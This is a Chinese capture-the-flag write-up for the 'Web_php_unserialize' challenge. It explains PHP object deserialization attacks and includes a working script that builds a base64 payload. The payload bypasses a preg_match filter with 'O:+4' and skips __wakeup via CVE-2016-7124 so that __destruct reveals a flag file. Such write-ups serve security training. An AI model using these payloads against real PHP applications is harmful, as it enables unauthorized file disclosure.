攻防世界web进阶区Web_php_unserialize,序列化大详解

攻防世界web进阶区Web_php_unserialize详解

  • 题目
    • 详解
      • 正则
      • 魔术方法
      • CVE-2016-7124 wakeup绕过
      • 不同属性的对象序列化后字符格式是不一样的

题目

攻防世界web进阶区Web_php_unserialize,序列化大详解_第1张图片
题目是一个php反序列化,这里放出了一个源码审计

详解

1-如果我们第一步匹配到了 o或者c:数字:
那么他会停止运行,停止运行后,会触发__destruct(),【问为什么,见魔术方法讲解】
2-我们如何绕过__wakeup()呢?
那么就是让他反序列化失败,然后运行停止,执行了__destruct()
就是只需要令序列化字符串中标识变量数量的值大于实 际变量即可绕过__wakeup()函数
攻防世界web进阶区Web_php_unserialize,序列化大详解_第2张图片


class Demo {
private $file = 'index.php';
//protected $file1 = 'index.php';
public function __construct($file) {
    $this->file = $file;
    //$this->file1 = $file1;
}
function __destruct() {
    echo @highlight_file($this->file, true);
}
function __wakeup() {
    if ($this->file != 'index.php') {
        //the secret is in the fl4g.php
        $this->file = 'index.php';
    }
}
}//这里我们新定义一个类,参数是fl4g.php,复制他原来的类下来,是为了序列化
$array= new Demo("fl4g.php");
$content=serialize($array);
echo ($content);
//O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}

O:4:“Demo”:1:{s:10:“Demofile”;s:8:“fl4g.php”;}
序列化完成后,是这个,我们传入以后,并不能绕过wakeup
,因此,把1改成比1大即可,【为什么,见如下魔术方法绕过】
O:4:“Demo”:3:{s:10:“Demofile”;s:8:“fl4g.php”;}
3-这时候我们该绕过正则,让他进行反序列化
使用+可以绕过preg_match() 正则匹配这里匹配的是 O:4,我们用 O:+4 即可绕过。
O:+4:“Demo”:3:{s:10:“Demofile”;s:8:“fl4g.php”;}
攻防世界web进阶区Web_php_unserialize,序列化大详解_第3张图片
这里我们没有绕过正则,发现,出现了stop hacking
注意:base64的时候,需要在脚本中,一并base,因为如果复制,就相当于在记事本中,记事本中的格式与序列化的格式不同,自然也就base64结果不同
这里可以使用正则替换,也可以使用手工替换+号,但是手工替换有问题在php定义变量时 <\x00>类名<\x00>,因此,直接复制时,并不能获取到两个\00,详解见如下

 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
    $obj = new Demo('fl4g.php');
    $str = serialize($obj);
    //string(49) "O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}"
    $str1 = str_replace('O:4', 'O:+4',$str);//绕过preg_match
    $str2 = str_replace(':1:', ':2:',$str1);//绕过wakeup
    var_dump($str2);
    //string(49) "O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}"
    var_dump(base64_encode($str2));
    //string(68) "TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ=="
?>

攻防世界web进阶区Web_php_unserialize,序列化大详解_第4张图片

攻防世界web进阶区Web_php_unserialize,序列化大详解_第5张图片
攻防世界web进阶区Web_php_unserialize,序列化大详解_第6张图片
攻防世界web进阶区Web_php_unserialize,序列化大详解_第7张图片
攻防世界web进阶区Web_php_unserialize,序列化大详解_第8张图片

正则

/i 表示匹配的时候不区分大小写
\d 匹配一个数字字符。等价于 [0-9]。
“+” 出现至少1次
[ ] 是定义匹配的字符范围
[oc]是匹配o或c任意一个
[xyz] 字符集合。匹配所包含的任意一个字符。例如, ‘[abc]’ 可以匹配 “plain” 中的 ‘a’。
\d+是为了匹配[0-9]的数字,多次匹配!
攻防世界web进阶区Web_php_unserialize,序列化大详解_第9张图片
”[oc]:“匹配的是,o:或者c:
"[oc]:\d+"匹配的是o或者c:数字
攻防世界web进阶区Web_php_unserialize,序列化大详解_第10张图片
"[oc]:\d+"匹配的是o或者c:数字:
攻防世界web进阶区Web_php_unserialize,序列化大详解_第11张图片

魔术方法

魔术方法,如果有反序列化的使用,在反序列化之前会先调用这个方法
function __wakeup()
当成员属性数目大于实际数目时可绕过wakeup方法,正则匹配可以用+号来进行绕过

php中带有双下划线(__)的是魔术方法,会在满足条件时自动调用

序列化是把数据类型压缩成一个字符串,方便处理,反序列化是把字符串还原成数据类型
正则表达式用于匹配字符串
观察demo类,有三个魔术方法:

__construct(),创建时自动调用,用得到的参数覆盖$file

__destruct(),销毁时调用,会显示文件的代码,这里要显示fl4g.php
__wakeup(),反序列化时调用,会把$file重置成index.php

CVE-2016-7124 wakeup绕过

攻防世界web进阶区Web_php_unserialize,序列化大详解_第12张图片
攻防世界web进阶区Web_php_unserialize,序列化大详解_第13张图片
将传入的序列化数据的对象变量个数由1更改为2,页面只执行了__destruct方法,而且输出name属性时报错,是由于反序列化数据时失败无法创建对象。
攻防世界web进阶区Web_php_unserialize,序列化大详解_第14张图片

不同属性的对象序列化后字符格式是不一样的

转自这位大佬
最开始的我是先把序列化后的字符串输出 , 然后手工添加 " + " 号和破坏对象属性 , 最后再对其 Base64 编码后提交 , 但是始终拿不到 Flag

翻看了一会儿以前的笔记 , 突然发现了这个知识点

不同属性的对象序列化后字符格式是不一样的

Private属性 : 数据类型:属性名长度:&quot;\00类名\00属性名&quot;;数据类型:属性值长度:&quot;属性值&quot;;

Protected属性 : 数据类型:属性名长度:&quot;\00*\00属性名&quot;;数据类型:属性值长度:&quot;属性值&quot;;

Public属性 : 数据类型:属性名长度:&quot;属性名&quot;;数据类型:属性值长度:&quot;属性值&quot;;

本题中就有一个 Private 对象 , 会不会在复制粘贴时破坏了 " \00 " 这个特殊字符呢 ? 可以实验一下~

将序列化后的字符串直接存入文件
攻防世界web进阶区Web_php_unserialize,序列化大详解_第15张图片

将序列化后的字符串复制粘贴存入文件

攻防世界web进阶区Web_php_unserialize,序列化大详解_第16张图片

vim 查看 a.txt 文件
在这里插入图片描述

果然 , 输出到命令行的序列化字符串格式已经被破坏 , 因此必须要在脚本中直接构造出完整的 Exp
攻防世界web进阶区Web_php_unserialize,序列化大详解_第17张图片

那么我们直接复制出来的这两个空格也就可以解释了

你可能感兴趣的:(CTF)